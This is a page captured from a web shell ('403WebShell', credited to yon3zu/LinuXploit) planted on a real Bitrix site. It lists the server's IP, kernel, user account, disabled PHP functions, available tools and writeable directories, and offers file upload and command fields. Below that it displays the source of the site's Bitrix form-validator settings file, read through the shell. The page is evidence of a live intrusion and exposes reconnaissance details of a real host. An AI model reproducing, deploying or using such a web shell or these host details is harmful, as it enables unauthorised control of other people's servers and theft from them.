%PDF- %PDF- 403WebShell
403Webshell
Server IP : 37.220.80.31  /  Your IP : 52.14.77.134
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64
User : www-root ( 1010)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/form/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/form/form_validator_props.php
<?
require($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/main/include/prolog_admin_before.php");

$FORM_RIGHT = $APPLICATION->GetGroupRight("form");
if($FORM_RIGHT<="D")
	die(GetMessage("ACCESS_DENIED"));

if (!CModule::IncludeModule('form'))
	die(GetMessage("FORM_MODULE_NOT_INSTALLED"));


IncludeModuleLangFile(__FILE__);

$validator_name = $_REQUEST["validator"];
$rsValidators = CFormValidator::GetAllList();
$bFound = false;
while ($arValidatorInfo = $rsValidators->Fetch())
{
	if ($arValidatorInfo["NAME"] == $validator_name)
	{
		$bFound = true;
		break;
	}
}
if ($bFound)
{
	if (is_array($arValidatorInfo["SETTINGS"]) || $arValidatorInfo["SETTINGS"] <> '')
	{

		$arSettings = call_user_func($arValidatorInfo["SETTINGS"]);
?>
	<div class="description">
		<p>
			<b><?=htmlspecialcharsbx($arValidatorInfo["DESCRIPTION"])?></b> [<?=htmlspecialcharsbx($arValidatorInfo["NAME"])?>]
		</p>
	</div>
	<form name="val_settings_form">
		<input type="hidden" name="VALIDATOR" value="<?=htmlspecialcharsbx($validator_name)?>" />
		<table cellspacing="0" align="center">
<?
		foreach ($arSettings as $settingName => $arSetting)
		{
?>
			<tr>
				<td id="PARAM_TITLE_<?=htmlspecialcharsbx($settingName);?>"><?=htmlspecialcharsbx($arSetting["TITLE"])?>:</td>
				<td>
<?
			switch ($arSetting["TYPE"])
			{
				case "CHECKBOX":
					$res = "<input type=\"checkbox\" id=\"PARAM_".htmlspecialcharsbx($settingName)."\" name=\"PARAMS[".htmlspecialcharsbx($settingName)."]\" value=\"Y\"".($arSetting["DEFAULT"] == "Y" ? " checked=\"checked\"" : "")." />";
				break;

				case "DROPDOWN":
					$res = "<select id=\"PARAM_".htmlspecialcharsbx($settingName)."\" name=\"PARAMS[".htmlspecialcharsbx($settingName)."]\">";

					foreach ($arSetting["VALUES"] as $value => $title)
					{
						$res .= "<option value=\"".htmlspecialcharsbx($value)."\"".($value == $arSetting["DEFAULT"] ? " selected=\"selected\"" : "").">".htmlspecialcharsbx($title)."</option>";
					}

					$res .= "</select>";

				break;

				case "DATE":
					$res = "<input type=\"text\" name=\"PARAMS[".htmlspecialcharsbx($settingName)."]\" id=\"PARAM_".htmlspecialcharsbx($settingName)."\" value=\"".htmlspecialcharsbx($arSettings["DEFAULT"])."\" />\n".Calendar("PARAMS[".htmlspecialcharsbx($settingName)."]", "form1");
				break;

				default:
					$res = "<input type=\"text\" id=\"PARAM_".htmlspecialcharsbx($settingName)."\" name=\"PARAMS[".htmlspecialcharsbx($settingName)."]\" value=\"".htmlspecialcharsbx($arSetting["DEFAULT"])."\" />";
				break;
			} // endswitch

			echo $res;
?>
				</td>
			</tr>
<?
		} // endforeach
?>
		</table>
	</form>

<?
	}
}
else
{
	?><div align="center"><?=ShowError(GetMessage('FORM_VALIDATOR_NOT_FOUND'));?></div><?
}

Youez - 2016 - github.com/yon3zu
LinuXploit